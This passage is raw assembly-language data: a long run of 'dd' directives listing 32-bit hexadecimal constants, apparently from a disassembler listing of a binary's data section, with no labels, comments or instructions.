		dd 2F73AB00h, 0EF34A1h,	5C74EDC0h, 0AFF3D7BBh, 551E8701h
		dd 0FA20A746h, 37298FCh, 0C537BEFCh, 440097BBh,	0B15D8C8Dh
		dd 9C2BF6h, 83CE80Eh, 6AB04E29h, 5148641Ch, 18839300h
		dd 356354h, 0DB995C2Ah,	0CD33D9F7h, 3C506C0Fh, 144C5EBEh
		dd 863C04Fh, 0B3E33A4Eh, 9F375A61h, 5687482h, 90E123F6h
		dd 0B38EDC16h, 7D851F00h, 5D2A91FBh, 8CEB00DDh,	0E7E67B9Ah
		dd 270E3BD3h, 4066611Fh, 0F6F38B14h, 8F5200DDh,	0A7A2F15Dh
		dd 93000AFDh, 972791E1h, 0F2D3F925h, 0FBCD0021h, 0C1B06FEDh
		dd 5E00087Dh, 0EF032FC5h, 0E40AE0C2h, 803D00F6h, 387DB964h
		dd 0DF00BE59h, 6551B333h, 3E1E64Eh, 0E2CED77Bh,	0EAED4137h
		dd 1E40C080h, 1E4E68Eh,	0A566CB18h, 53ED7BBEh, 0BA804DFCh
		dd 97FA37CCh, 53B7C000h, 19D09357h, 74FFF02Ah, 10092EDh
		dd 0C3908829h, 0E8F68C13h, 0E402F4F2h, 95E1EF27h, 6E14000Bh
		dd 30C0FA3Ah, 0A0DAE2B9h, 0EB680CC6h, 1C49365Bh, 811DA134h
		dd 0EE2BC400h, 3D55FAh,	0DC27A67Ah, 5F25B1E3h, 712293Eh
		dd 99E80BADh, 49EB6D00h, 7E49CF6Fh, 0AD5629E2h,	0C34FA1C0h
		dd 59A45830h, 0DC9E20h,	1CD5A627h, 5355C2D1h, 3B65C703h
		dd 0E6A55925h, 40F829h,	31CDAC9Bh, 0F285DEE3h, 60F7B82Fh
		dd 5BF41EAh, 51E8980Fh,	0A060040Ch, 752E4323h, 7A9E88F2h
		dd 0D7B310Ah, 70A4AE19h, 4200D44Fh, 76F8D332h, 522E6Ah
		dd 0A0700B3Dh, 4318ABCh, 9989C360h, 0FC0E4029h,	2F7A05D0h
		dd 83C8BDEEh, 0D8811B2h, 31006F08h, 70B8BFAh, 3D9B9324h
		dd 5980FCD4h, 0D0361D20h, 6C3C5133h, 0B20500CFh, 0CD1F6044h
		dd 21C207F4h, 0C04E3B37h, 4233C971h, 2098CF0Fh,	293A6C06h
		dd 6E228430h, 0D64204h,	6AB60352h, 3C14C417h, 0E3DED6Ch
		dd 91AB96h, 0F66012E8h,	4643651h, 4947E029h, 0C39A305h
		dd 0A5F524E0h, 9C009475h, 4DE103B7h, 85B223h, 6BB6A48h
		dd 25019D55h, 6085A551h, 7500E92Eh, 0FCE39CBh, 489CDE7Fh
		dd 340153C5h, 70E88FB3h, 3D4BC8D5h, 36930600h, 0EEF6BCEBh
		dd 6D9700B7h, 0A045BE11h, 0B1005F77h, 8F3A1B63h, 1D5C980Bh
		dd 801D3C05h, 300676FAh, 0E000BE55h, 7CDDC6A2h,	0F65FF9h
		dd 0F1963703h, 0EA60C30Ch, 4C9348h, 7EA82BDDh, 1C343D1Dh
		dd 0C27F100Fh, 0DE3C6EEBh, 0B872160h, 5FEA6C00h, 0B13AD5E3h
		dd 6F3D00A0h, 68F97193h, 0F30064ECh, 0A206E4E2h, 4A41C5h
		dd 0B3C0370Eh, 0A99BBC3Bh, 0B9FD600Fh, 0F06CC030h, 74B56D66h
		dd 0AB5D0022h, 0A762683Eh, 0F60098EDh, 847B1652h, 3D94CEh
		dd 2EFF5818h, 1AA3FDA1h, 0B53DC0F4h, 81BCBF64h,	0ECD6F92Ch
		dd 666106DFh, 0E7E4A06Eh, 0EB39E500h, 2B5D9678h, 109CEDF7h
		dd 11014038h, 5706BFA2h, 3EB16005h, 92C04BA5h, 7599972h
		dd 26B051CDh, 97EA6082h, 3528A5DCh, 91EA9C14h, 0BCBEDA1Ch
		dd 67D35540h, 0F6EAE540h, 69A4000Fh, 323FB858h,	5048F8BBh
		dd 0F4820010h, 49DC7D9Dh, 0D93E00CAh, 6BFAF91Ah, 4A00A2ABh
		dd 2B67C1Bh, 0B294166h,	699A19F2h, 0A821DB80h, 0FA502875h
		dd 907E33FCh, 0A9D0CB00h, 0F140C805h, 0A6450037h, 0FA9EAA41h
		dd 2900597Ah, 0B848F469h, 1C76B958h, 4F33DB95h,	88A0870Bh
		dd 6AF3456h, 0E8474D03h, 90A4A50Fh, 0A7F237h, 78192964h
		dd 8B7CD68Fh, 729EF403h, 0E9E30806h, 10CC653Fh,	0FD300AC1h
		dd 88EE0Ch, 9C84BFEh, 0EA240E78h, 72054037h, 0F80080E0h
		dd 0D96B4E10h, 121782Dh, 11A6192Ch, 0D48D98E4h,	3E0F4934h
		dd 0EE6C94BCh, 0F0F83BC3h, 4FC33h, 1BB366B0h, 52D020EDh
		dd 0F5A81907h, 7C2379C1h, 0CB9B9008h, 0FB1F097Fh, 0B7801C5Ah
		dd 44384E0Bh, 0E196C601h, 13A82259h, 1F6CC5F8h,	83B9F7h
		dd 4AD0F292h, 3139BD06h, 0F30480CFh, 0ACF97BA6h, 0BB18005Bh
		dd 5FF80C94h, 7400890Dh, 0E1409E57h, 6515D4h, 8F2251B6h
		dd 0C7F181B8h, 7F5EF91Ch, 4FC86AC0h, 85C025h, 1D9B3288h
		dd 50CD0584h, 78005890h, 0CB7AD537h, 1DA66C7Dh,	40CF1180h
		dd 33687953h, 5B7BF309h, 804C783Fh, 6482FB88h, 659DEAh
		dd 0D916FF56h, 6AF0DBB5h, 5239A8EEh, 64C800BAh,	1D3568F6h
		dd 65B8003Ah, 837DFE18h, 6A7ABC2Ah, 14F1E807h, 970C0EBh
		dd 66F23Eh, 0FF1B7751h,	4FCAE705h, 8ADBE000h, 74706869h
		dd 42A500D7h, 79D69737h, 0EF00C2C8h, 7C8F60BFh,	50B7E177h
		dd 30CCE5h, 0EB69980h
		dd 8E3A2C1Ah, 84792000h, 0DF5CB23Fh, 0F5E0A5h, 48F8F0EAh
		dd 644EAD32h, 67A68700h, 0B53ED4C1h, 1FBC9092h,	2B6CC6h
		dd 90F2DF12h, 9E7AB636h, 0EFFA0D00h, 97F7C069h,	1389FC0Eh
		dd 26E43F6h, 93106454h,	4E3ECDE0h, 0A2880600h, 86F3F744h
		dd 833500A9h, 0CCB8BF66h, 99004353h, 1F5D5B1Dh,	0B5C6ED1h
		dd 707B3093h, 9509D100h, 25006B3Fh, 0D585C145h,	0ACAD17h
		dd 0F7DE13FEh, 6DB92C24h, 1000A674h, 93536392h,	0FD23266h
		dd 68B5F7C1h, 67DBAD60h, 64005282h, 9B4EBF80h, 0F174CCh
		dd 0C3A2F2EEh, 317EEDB5h, 45757800h, 15416EF0h,	0E7610062h
		dd 17230949h, 28003879h, 0CEE5CCB6h, 74796B8h, 43A548B3h
		dd 0F9AF90F4h, 1400E160h, 8D9C808Eh, 0ED8BD0h, 0F435BA0Eh
		dd 0B2887B8h, 0BFFEDB79h, 0B39AC800h, 5371232Bh, 0DA6600BBh
		dd 914660A7h, 0AD00E570h, 0CC0D3D8Ch, 0EA890BC8h, 0BF471C12h
		dd 813EC768h, 80FA1013h, 94003F49h, 0FDE63139h,	8A6C24h
		dd 0AE0A546Bh, 0C4E199D3h, 0E0988D73h, 5F09DE03h, 0D06179FBh
		dd 2419A30Dh, 2C18244Eh, 8F013DF8h, 0A2C37ABDh,	0E42430EFh
		dd 2F20AB01h, 6C2122BFh, 5895B3CCh, 3E027C54h, 2A7AEDCBh
		dd 0D046D2C0h, 38E20400h, 2FF55B83h, 0DE30001Dh, 8C41D2E3h
		dd 8A359222h, 3BECD64Bh, 109CB43Ah, 4FD1402Fh, 505D3366h
		dd 0E7CB8004h, 0A0806CE9h, 8461D5h, 494C8599h, 1C092388h
		dd 0C8DA4601h, 229875D1h, 0DE69CCh, 14B37142h, 7B05FBAh
		dd 0BBAE9700h, 0AFE1A7Bh, 0BD130210h, 80D46590h, 0C74C6800h
		dd 0AA34075Eh, 408BAF4Fh, 0F960745Dh, 56073C73h, 51C24B38h
		dd 1A0C3D40h, 13F817C5h, 972C00A7h, 2BD36AB2h, 8D60A50Fh
		dd 5E61A00Eh, 0F229A728h, 47010044h, 36BEE39Dh,	0F000798Eh
		dd 62DF40B3h, 6CFFDBh, 7A559C6h, 92E6BB4Ch, 9D2BD200h
		dd 5DE0132Dh, 0DBED0112h, 0BD032C02h, 0DE3FE0C6h, 0B9CB7900h
		dd 3A7151E9h, 3C907B07h, 1307EFF9h, 910468EDh, 0E05893A7h
		dd 0DB7EA02Fh, 6F0E237Eh, 2FEECBBAh, 0D79B6056h, 1ABA949h
		dd 0C98632D0h, 4099599Fh, 60DC2BB8h, 4665D82Ch,	0F067B101h
		dd 70745E7Ch, 8D350E28h, 7280F183h, 0D3ACB73Ah,	2F689700h
		dd 70E3254Ch, 0D49004Dh, 78D0A42Ch, 0AC00E6F6h,	34E096C9h
		dd 1ECB022Eh, 54247BDDh, 180FC482h, 0CD403F80h,	36FB730Ch
		dd 0EB8B4109h, 44001F91h, 1A72C81h, 9FE1FE11h, 0C8C5CE78h
		dd 1BFCCF0Fh, 8E008CE2h, 0ECF89105h, 708F8A03h,	76F100D9h
		dd 78924D6Bh, 0C000717Ah, 0AA63F6BAh, 0B84E9885h, 0D4CD008Fh
		dd 0D22F723h, 56181BD8h, 0EB54063Bh, 73300CFh, 15657736h
		dd 3F2C6988h, 0F600B4E0h, 43A1FF84h, 75C30021h,	57911FDh
		dd 0F7032260h, 4C3DD246h, 0CA64808Ah, 70CCF596h, 0E6AE3EB4h
		dd 81EBA900h, 5D155573h, 2D36F100h, 0EABBF61h, 0A6E60050h
		dd 11CBDD24h, 2607C53Fh, 0D8309202h, 1AC56995h,	59EF1080h
		dd 0E0B7000Ah, 65FF4E99h, 5003CA5h, 699BD77Fh, 18B9EDCCh
		dd 3081FD0Bh, 0C10BA872h, 813977ACh, 97AFD228h,	475CE040h
		dd 50CE01FEh, 65B2457Bh, 9385E819h, 0C00D8E1Dh,	0CD0F2413h
		dd 0EBDFC0BDh, 0E00E4A7Eh, 39D13E1Bh, 0BC0013CCh, 0D66219A0h
		dd 3E079CD7h, 76CCEA67h, 0DB1FEE90h, 0F86F3F3Dh, 0F9EC7062h
		dd 0CBC070C3h, 0B50076D6h, 6BF13766h, 72802Fh, 0EB390E11h
		dd 0DBE85B1Bh, 0A2D3DE00h, 69675846h, 232D1DCFh, 2960BF73h
		dd 4827660Ah, 0D359B900h, 0CC041972h, 44A30045h, 0E6423E0h
		dd 8212AEE4h, 7C1F487Ah, 7236F9C3h, 874000FFh, 975FF208h
		dd 9C0B7BC3h, 326716h, 70A5B4ACh, 281B60F6h, 81239810h
		dd 29876200h, 725F8A09h, 2940237h, 11CAE21Eh, 90C4ED80h
		dd 8800FA87h, 0D6038410h, 727821h, 29F23A83h, 0A32DC493h
		dd 0FD70A104h, 2881E052h, 1060A6E4h, 0BDAE0294h, 0B7FE890Ah
		dd 54B8E663h, 9502439Dh, 45EF56DEh, 0A9084003h,	207A0EACh
		dd 0C9026D99h, 80611B55h, 0B97CD802h, 0F898C224h, 4ADBB700h
		dd 4B50553h, 593A9779h,	558880B8h, 1E007EDFh, 0D9F11250h
		dd 13F3A698h, 80DAAFh, 358FD343h, 0A100EA38h, 0D5701465h
		dd 2EBDFC67h, 2C5CA63h,	0F4E9DD0h, 1C809089h, 0DCAB4502h
		dd 970E5C00h, 0B9E5F3E2h, 0F17E0B29h, 800FD8h, 2712D74Fh
		dd 727A1601h, 6CEAE96Ah, 0DAF813C9h, 806900B3h,	0F3236EA4h
		dd 6A30439Bh, 9F5D20EBh, 99A60061h, 5E2A8F56h, 643F0137h
		dd 0D80E28B2h, 0F2B0F50Ch, 0F6D4076h, 7E2215Ch,	56A7D1C2h
		dd 50009C58h, 1C4651B1h, 4E579777h, 4808005Bh, 8AD344AEh
		dd 13A5A412h, 9724C040h, 0EAC2BC9Ah, 0E2250050h, 4C374193h
		dd 1D175599h, 0A800FD9Fh, 113E18B3h, 0FFED0047h, 0C0BD5AA6h
		dd 0BE7553F4h, 0F75CC200h, 0CC595D86h, 1EED09AFh, 658BFA7Ah
		dd 0DAEBDC80h, 0C251679h, 3048FE54h, 0DE709BCh,	0FC205016h
		dd 3EE37C04h, 15BAEB80h, 85460178h, 0F6FADFDAh,	3A1970EEh
		dd 3E097E77h, 0A038AE68h, 0DB565554h, 0D3320011h, 3A18B07Ch
		dd 0E2002AEDh, 128F66E4h, 366EA9h, 0D5729A0Bh, 0E72F0F32h
		dd 9101F901h, 155BC508h, 3F9BF4h, 3358E53Bh, 7C5636C1h
		dd 9C40EC00h, 0C9BEA8D9h, 3B8400D1h, 0D825823h,	287535C3h
		dd 104FAC30h, 77B9CD3Ah, 4DE900AFh, 0FD2C688Ah,	0D800BCB7h
		dd 36EAF297h, 31210h, 5B75AC67h, 0BF6F2F53h, 0F8354B24h
		dd 8A131B0Bh, 0DC001478h, 829EBBBDh, 240C3C4Ch,	0D22BAB07h
		dd 0F01DA72Fh, 0C646AF30h, 9B212900h, 143D5359h, 0E1710EEDh
		dd 4A009FA0h, 0B34C225Dh, 5FA24800h, 97E03B23h,	7FF70060h
		dd 80F8ECCFh, 1B07080Dh, 0A043A8BAh, 0B9DCEF10h, 0C710260h
		dd 6E5B6709h, 8079B480h, 0C9000575h, 4DC011D3h,	0F8BD899h
		dd 3DC8591Ah, 15452520h, 0DCC4D6C7h, 0BC845643h, 0BA40911Eh
		dd 447AAF8Dh, 88550030h, 0D915C7F6h, 511360C6h,	34900B39h
		dd 1293897Eh, 4ED4E095h, 80132918h, 6F6E0228h, 0C3737800h
		dd 0CA4E3592h, 0B3BD1F61h, 1B8D007Bh, 489F60A4h, 33438800h
		dd 4FC7FB83h, 68B50CF9h, 71200A9Ch, 65C1F500h, 2CBDB97Eh
		dd 4A6A0E76h, 8B092B56h, 77FEE0A7h, 0B98710EFh,	7112F10Ch
		dd 0EC013DD5h, 89F8B501h, 4095F57Ah, 7D025C6h, 46790B05h
		dd 9CC07CF5h, 642D6h, 1AA82F5Ah, 0A9F4389Fh, 377A27Fh
		dd 3E92D200h, 85B251E3h, 838402FBh, 0FDF8A5C7h,	0C19EF440h
		dd 50630804h, 0D4806271h, 33082h, 4677B160h, 213D4B45h
		dd 0E1747F00h, 0E3A9EB23h, 5AED0015h, 26109BAh,	2A00E49Ah
		dd 0CFF35B9Fh, 17A49583h, 35BBFAh, 0B078C4D7h, 4D12728Eh
		dd 6F002B6Dh, 0EADE4683h, 66650F2Ch, 0FF0F5947h, 6C9607E0h
		dd 0F6E8EF2Eh, 19000879h, 853D395Ah, 1E3FC69h, 0D1F0D752h
		dd 34999130h, 5800D3F0h, 0D549960Fh, 783188h, 668F7982h
		dd 13890720h, 9C6DE38h,	814291EDh, 56B49BE4h, 6C05C4h
		dd 2140D8CAh, 10FD9E5Fh, 65C5A000h, 174A6268h, 0EF4600DDh
		dd 13A84B6Eh, 6D006AF4h, 1DFF23FCh, 78FB55Ch, 7B164387h
		dd 301320E1h, 0B73C5D06h, 6CA81EC0h, 3E41C140h,	0C09E65EFh
		dd 77D77E84h, 0C0A0DD08h, 301D3401h, 260388F7h,	0DC6BC4h
		dd 33BD3E18h, 0F288CDEh, 48CA6D00h, 0D83BE825h,	1D4B0F0h
		dd 26B1BBC2h, 708E4147h, 0D7005D48h, 447C2DFAh,	823AB9h
		dd 0D2933175h, 66D4CF90h
		dd 5D9EE03h, 80BCF7C4h,	3EDE47h, 4708DCBh, 9F75131Ch, 0F3917E00h
		dd 204BE490h, 269C0076h, 3095BE7Ah, 36002FF4h, 27EADC08h
		dd 4D7C0Fh, 16458B5Bh, 0F31506E6h, 1E28F3Bh, 0CE0F242Ch
		dd 25FC55BCh, 0DE16004Ah, 59563B69h, 63E2876Fh,	0F5A3F80Fh
		dd 30C1FCE7h, 0F0FC89D3h, 3C9F02DCh, 0F7873FA6h, 0F6C41301h
		dd 0E83BE84Fh, 304C3061h, 60A1F06Ah, 0FDA2581Ch, 0B000165Eh
		dd 3686B3ADh, 0BFA9F6Fh, 3BA34D0Eh, 0BDCCDC40h,	0C6714B0Ch
		dd 1A439ABh, 0C9E979D0h, 30F77FA7h, 960068F4h, 679EE81Fh
		dd 0B0567C17h, 0C5711FB0h, 895A007Fh, 1D0EE954h, 23F50100h
		dd 0F798CE0Ch, 0A3991FDFh, 8FE2C0BFh, 58103268h, 0A8EE6C03h
		dd 0F073E514h, 0C91A1Eh, 2ADDAB90h, 0AD6202BEh,	0EE4EF02Ch
		dd 26CF9B00h, 0A26F66h,	1C58AD5h, 0AAD34D62h, 0EF4BC200h
		dd 14EB41B1h, 5C0F0F8Eh, 0A94153C0h, 70F66C8Ch,	0EE0C4B3Ch
		dd 1097AC5Ah, 6F009h, 1B052240h, 5BB6F28Ch, 92D3E90Eh
		dd 8055AFBAh, 33C77D5Eh, 1E19801h, 0A343FEEEh, 0C3E94138h
		dd 31AF73F1h, 642EF0E2h, 329BC518h, 348DFA0h, 0AC92511Bh
		dd 5D03398h, 0ABE6D891h, 0F0FF2400h, 23EEC0FBh,	14A0B234h
		dd 0B0532B50h, 82677702h, 0B8ACF446h, 0A17B05D8h, 90BBE405h
		dd 84C1E625h, 94358F3Bh, 244619D9h, 0EA4B0E2Eh,	4A9FB05Eh
		dd 41421E8h, 0C19CE583h, 0F85E9E20h, 4073FE3h, 33D92BC8h
		dd 7D6D9810h, 88B1032Fh, 0E686EC52h, 2B3F2EA8h,	81FB593Eh
		dd 6A98C9Bh, 4CD432A4h,	0BE1E009Ch, 9EBFA53Eh, 0C70E448Fh
		dd 21B8E45Ch, 289940F3h, 22D0060h, 0D85A2393h, 0EAC158FEh
		dd 6DBC07Ah, 0BE5BED00h, 0E3F2FD51h, 0A90D001Eh, 2D57B820h
		dd 0ED000498h, 6ABF54C3h, 2A486CD6h, 8CEEACh, 1DF80BCCh
		dd 6583DF77h, 84F6F37h,	0B2215Ch, 3ED7F801h, 0DED0CE7Ah
		dd 2E004496h, 0CCED2632h, 0F35301A7h, 5CB8F5Ah,	0CD803081h
		dd 0FBC60600h, 80124BECh, 0ADF2069Ch, 98DFD50Eh, 2895CC24h
		dd 46D0DB19h, 0DAE91041h, 0C4A36802h, 7100DDD1h, 192CB09Ch
		dd 118B49h, 3A85F884h, 5D74B7E2h, 0A29B9600h, 0B2EDC065h
		dd 1C5F2C2h, 13DD0563h,	0F06AA43Dh, 5960F2D2h, 3BE99818h
		dd 0D01A5030h, 0A1081895h, 2CDB78BEh, 0D28438h,	0AA864346h
		dd 1EF151F5h, 0BF9D3B56h, 40C84D1Fh, 4A6C9B98h,	6003B17Eh
		dd 44E84893h, 3F5EF85Ah, 79B300A6h, 1023D8ECh, 2500F7F0h
		dd 9161517Bh, 50BCC3h, 0FB3FBB6h, 0B772C55Eh, 7F13E400h
		dd 40209CAEh, 0FF7A00B9h, 0DCCC877Eh, 82006557h, 347427DDh
		dd 155BEF8h, 43A9EA75h,	0F06B8591h, 0C00E0A4h, 9DA610FEh
		dd 0EA13464h, 61C44EA2h, 70930012h, 0EE6B3563h,	0E67CD700h
		dd 0FDCABCC6h, 0FB2E1E24h, 0F16D838Ah, 10C87486h, 0E5000C7Fh
		dd 6B8CEF1Eh, 585DCAE7h, 0B9008C84h, 0B6181251h, 220363C2h
		dd 0C4D9276Fh, 0CCFA88Fh, 0CDBC00F2h, 985F72F1h, 80E97523h
		dd 1D5FE36h, 0CFB871h, 9D0ADFDBh, 9095CE9Ch, 8987AA01h
		dd 6F58F991h, 0F8863080h, 7D0AADE6h, 0D8DC3D1Bh, 0E10EE049h
		dd 0E0B50065h, 0AA7311FEh, 0C01F449h, 0F6218FA8h, 2880B6ECh
		dd 0A547EA74h, 1B00445Ch, 0FED07B10h, 18191FB7h, 192303E7h
		dd 200382B3h, 476C55ADh, 79690E12h, 0E0589EAFh,	0A1000CF2h
		dd 43D749B7h, 7C6776B6h, 0C12D001Dh, 1AEBA788h,	0C600DA17h
		dd 613CF99Bh, 0CE0358Fh, 775805AEh, 0E5071AB9h,	0BADE8AF7h
		dd 0E75C4AA3h, 7C2CC0ECh, 0BEEC1D9Bh, 36163F7Dh, 0CE5E1D80h
		dd 124B9371h, 15C0E58Fh, 65753B70h, 2BA41E0Eh, 0B401C1DAh
		dd 9C60086Dh, 0A0614E4Eh, 0C5FA88DEh, 7DF0CF00h, 8BDB847Ah
		dd 70303EE6h, 0C1B0B99Fh, 64896F56h, 2BE06071h,	0FD83EF00h
		dd 9EA4DBE7h, 3B7E0004h, 0AB538FDAh, 211DBD0Dh,	0F046A306h
		dd 128DF0Fh, 5CF728F2h,	0E8931CAAh, 19C7EA9Bh, 3611C038h
		dd 0F5C96685h, 3991DC0h, 0D4ABFA30h, 28013512h,	819F15DAh
		dd 0D886314Eh, 0E0726074h, 666F18F0h, 23A08008h, 25FB7h
		dd 0C2F64EE6h, 0D1A14F67h, 0F51EAB1Ch, 60690A8Fh, 3070DAFFh
		dd 0FB3C1C5Ah, 0C0BE1C78h, 846E91A8h, 51DD35FEh, 9A61EEC3h
		dd 26B2D83Bh, 4810016h,	8B5ED067h, 590029B3h, 0A2280ED9h
		dd 9DAD84h, 0C5E8A0F4h,	3CB88DFFh, 17675674h, 0F773C421h
		dd 7D72B09Dh, 13440053h, 0B270B86Bh, 21076C86h,	0AD457126h
		dd 0CA42EA80h, 0B6DF3989h, 0F9A72580h, 0B1F88DE2h, 212308CCh
		dd 5F7386h, 0D3F99CFDh,	0FEA516E4h, 6DFF0700h, 0BCAB2D5Eh
		dd 35581FC7h, 7F8980D1h, 1F138165h, 860DA600h, 513C9952h
		dd 35F01CABh, 58419857h, 131DAA7Fh, 0DC432085h,	0E6D82480h
		dd 55C7448h, 0F1344FF7h, 4C586B87h, 207D0FA6h, 1B41DF11h
		dd 3701EABDh, 1F79B6F4h, 0E82713B7h, 0FBA53F30h, 56B18030h
		dd 4D00E1BDh, 5BDC8BE6h, 7E546D09h, 0E47C00C7h,	1E24EEE8h
		dd 4C00AE91h, 0FC1CC069h, 20A3EDh, 45B2A689h, 0CC61CB55h
		dd 0C12A7E00h, 365B127Fh, 0D6AC0403h, 8024F307h, 0D089D2E5h
		dd 0FB00AE75h, 980636CBh, 665854h, 0AAEA8BB6h, 563E6F1Fh
		dd 0C100D577h, 7D29C4EEh, 0DAE1B9h, 0E7362C68h,	3230ECB4h
		dd 3B3E88F2h, 4B0F00A9h, 721B7425h, 0E45D00ACh,	0B1E5A1D9h
		dd 5012E92h, 0C5838FCEh, 80402057h, 3B4062Ah, 923E4DA8h
		dd 25D035DAh, 0A3015B89h, 0ABBAEEE1h, 0F02BED0Eh, 280090E3h
		dd 0DCD6D40Fh, 0F1BCB0h, 10C5F43Bh, 0A0AB71ECh,	0F34B4600h
		dd 0B4731364h, 748B00EBh, 0C60EC4E4h, 0F4000ADDh, 6FEAFF94h
		dd 0F235BB7h, 5E6B7E57h, 87FBE4A0h, 0D8F9CA50h,	7100C03Ch
		dd 0AD34BB3Fh, 1003DFh,	0F3F59411h, 0BEC9EBD0h,	0CCB2F00h
		dd 75A8A3D7h, 0B118003Ch, 8D0E84F0h, 1100B23Eh,	0B444E53Ah
		dd 7A686C13h, 0CE20CFF3h, 950880E0h, 0BD003A45h, 0DF5E16B9h
		dd 74BF74Dh, 0C0DAF63Fh, 76EF708Dh, 330046DBh, 0E3B63774h
		dd 3BCF3B4h, 43F92134h,	77F8FCFFh, 2B00DF4Ch, 0A7BE2DC7h
		dd 0E5E6CCh, 0D78223A3h, 0E879ED71h, 13535700h,	38EBF0F8h
		dd 0F622000Fh, 3D3A33BDh, 0CD3D1D8Dh, 7AAE032Ch, 900E3F4Dh
		dd 31413Eh, 0D754CB68h,	85699E23h, 0A6E37A03h, 915E469Ch
		dd 0AACB28ABh, 37BE0F6h, 12890655h, 487032B7h, 0BF9A1907h
		dd 69A095EEh, 67361844h, 0FEB4300Bh, 0AC795780h, 0C4004B43h
		dd 367692FBh, 1D542B99h, 0C0716E1Ch, 2E5618B5h,	300E8A2h
		dd 0BE491D01h, 0F228E6C8h, 769A00F9h, 4979417h,	600038E0h
		dd 0CB83279Ch, 0FB1677h, 7E0B0C53h, 8DDDA87Ah, 4388DE00h
		dd 8EA5C8B2h, 0F45BF64Dh, 360D005Dh, 65A4E471h,	0D30E7A8Bh
		dd 67939BD6h, 0EE50AC3Ah, 0DA0892h, 7782BB0Eh, 66AAF5A9h
		dd 0CDAED500h, 4769617h, 0BDD000F6h, 0C6C9165Ch, 0F7000C55h
		dd 0AA122C8Fh, 0AC7BA1h, 98F160D5h, 3F917102h, 44823407h
		dd 3670C0C5h, 0A89D8EA8h, 17490A8h, 86A29808h, 403B7CEEh
		dd 66A39550h, 14460B00h, 2CFF336Eh, 5B1D008Ch, 6A192F99h
		dd 81E26BB2h, 0D07BDA98h, 57429200h, 803F2C3Ch,	0CC590E89h
		dd 0AD4FAED1h, 0CE1A3920h, 0D2038772h, 0C731FC9Dh, 8F29D0E8h
		dd 45D83FC8h, 4970F980h, 68D5FF51h, 0C3377900h,	283019Fh
		dd 0FBE810h, 0F1A0F7DAh, 0E2DFA89Ch, 0FC2C0607h, 0A9BE4Eh
		dd 0A98C5673h, 128BF8F0h, 5F24F8B7h, 0E4934188h, 304A45D3h
		dd 0C300D048h
		dd 5EB1FC9h, 3E664117h,	831E1D43h, 0D5C84A44h, 1ED82090h
		dd 0C037EB6Eh, 0C50D1B0h, 8204C45Fh, 3C41BBB2h,	54141AC0h
		dd 16C500A9h, 5948189Ah, 8A00D35Fh, 0F426ADA7h,	3B3E62h
		dd 654E1D44h, 8E54DCF5h, 0E03C2B0Eh, 513FC0D8h,	291CE521h
		dd 3DACD55Eh, 0A26EBA81h, 60C79C2Ch, 0C00526EBh, 24CA5B0Ah
		dd 0F919FBC0h, 2A9B0010h, 45B3FFD7h, 0D800DD0Fh, 34CAAE81h
		dd 7642E70h, 0DEC46CF5h, 0E5F1B1A8h, 0CCDDCC05h, 0E60071DEh
		dd 0DA761DF4h, 61B0028Bh, 721A812Dh, 0D5264040h, 2C00C9FEh
		dd 7FAC4F15h, 3BF255h, 8B845F36h, 0CFB50641h, 0C0D7D00h
		dd 90279BA0h, 6CEA0048h, 1812286Eh, 9301143Ch, 0F66B4131h
		dd 3C20457Bh, 0CF0D00D5h, 118D9B6Eh, 1775323Eh,	39FAFB00h
		dd 273DF3Ch, 976D0107h,	0C0B3B468h, 0A172F474h,	0DEBC6F00h
		dd 0D8E4CE65h, 79180F63h, 0FCAA8A55h, 302D00C7h, 658EBCCFh
		dd 0EF28402h, 4BA84AA0h, 0C2B5A178h, 0FD2BD0h, 39B7A465h
		dd 21EC66C8h, 0AE06B89Ah, 0F9999713h, 75D0211h,	112EB10Ah
		dd 8657E100h, 75A60091h, 514CA2FEh, 6A13EE58h, 48006FCEh
		dd 0B5ABD737h, 2B900F5h, 35258129h, 0C97520E2h,	0B74E1300h
		dd 0A60C44A5h, 77898CBh, 0FAF4CE8Fh, 0D8A8AD7Ch, 6C0059DDh
		dd 4BAC888Ah, 54E2095h,	30F128ADh, 0F4E381C9h, 43A2C87Ch
		dd 9DA4E663h, 0B3E89870h, 5F2803AEh, 0B7CF81F5h, 29A1B0F0h
		dd 8DDBC000h, 0AFFD458Eh, 4EC90025h, 89C5971Dh,	943F0FADh
		dd 62007CB9h, 3DCE7B7Fh, 5E6FF3h, 0E61B32EEh, 2C09FDD2h
		dd 6210C00Eh, 19F02088h, 5F5EEF4h, 0FC48C75Ah, 0ED68803Dh
		dd 0F726A44Dh, 640028E7h, 0ADAB8CB4h, 0EC6901CCh, 8E88D5A0h
		dd 0D006D575h, 3203E08Bh, 0B75A7FA3h, 0EE2000F1h, 89B19871h
		dd 1B008D45h, 423BBF9Bh, 3B232517h, 0E51C7B9Dh,	0E2D0005Dh
		dd 0AFD1A683h, 785E0101h, 4ACE1EEh, 5D96820h, 1485D69Ch
		dd 0B5A84366h, 26FBF780h, 0A4D78BC8h, 49129106h, 0FDF4E3DFh
		dd 73DE52E4h, 854C3D01h, 0BB576100h, 0BFEDEE67h, 0D3008670h
		dd 55E71182h, 4D05B13h,	0B2DD95A1h, 3654C025h, 8E88E6Dh
		dd 15814B1Ch, 88C69E80h, 0FE4D26EBh, 49EA76h, 4BB1D86Dh
		dd 5146FF8Bh, 0B10B03Eh, 80FBDA3Ah, 0BDDB2225h,	946E00C0h
		dd 24736628h, 5375E509h, 0A8E01100h, 0D8E88945h, 48310303h
		dd 0EA29FC5Ch, 0F364C0F5h, 0AA03B52Fh, 95C945F0h, 3E6CA8D8h
		dd 0D4B350C1h, 0E0A23F4Ch, 7FD0F985h, 0A40C90FAh, 7C005C57h
		dd 9510AD6Fh, 0ECFC7A2h, 3C8A2162h, 6D03D4C0h, 0C6007A5Fh
		dd 60E58582h, 39FBF2Eh,	83E1660Ah, 62B805F2h, 0E700921Bh
		dd 69101E51h, 67E040h, 84FF2C65h, 1DEBCCBAh, 42110560h
		dd 0F5BEECDh, 3BF890D4h, 4694063h, 0FD91A1A8h, 0B81E20C0h
		dd 61A3228Ah, 6A84E130h, 6990F3F8h, 0A900D258h,	0AA5C60C7h
		dd 0BCFA8E6h, 371A1610h, 1DB604A0h, 5D0A4169h, 0CEF1FD0h
		dd 8B99241Dh, 0F0C4D550h, 0F13F1DD7h, 0C77D00BCh, 8ACE24B9h
		dd 101F21C5h, 45421C06h, 6EB0D8h, 832A6C54h, 7E1762BAh
		dd 73818B0Eh, 7BAE435Bh, 0C9D9902Eh, 74220011h,	3EC53C53h
		dd 7A00800Eh, 0D49E9433h, 3B662314h, 7580A822h,	860AD99Bh
		dd 720FE5F3h, 8FFC54A0h, 502B3Fh, 0AD165E8Ch, 0DB1000D2h
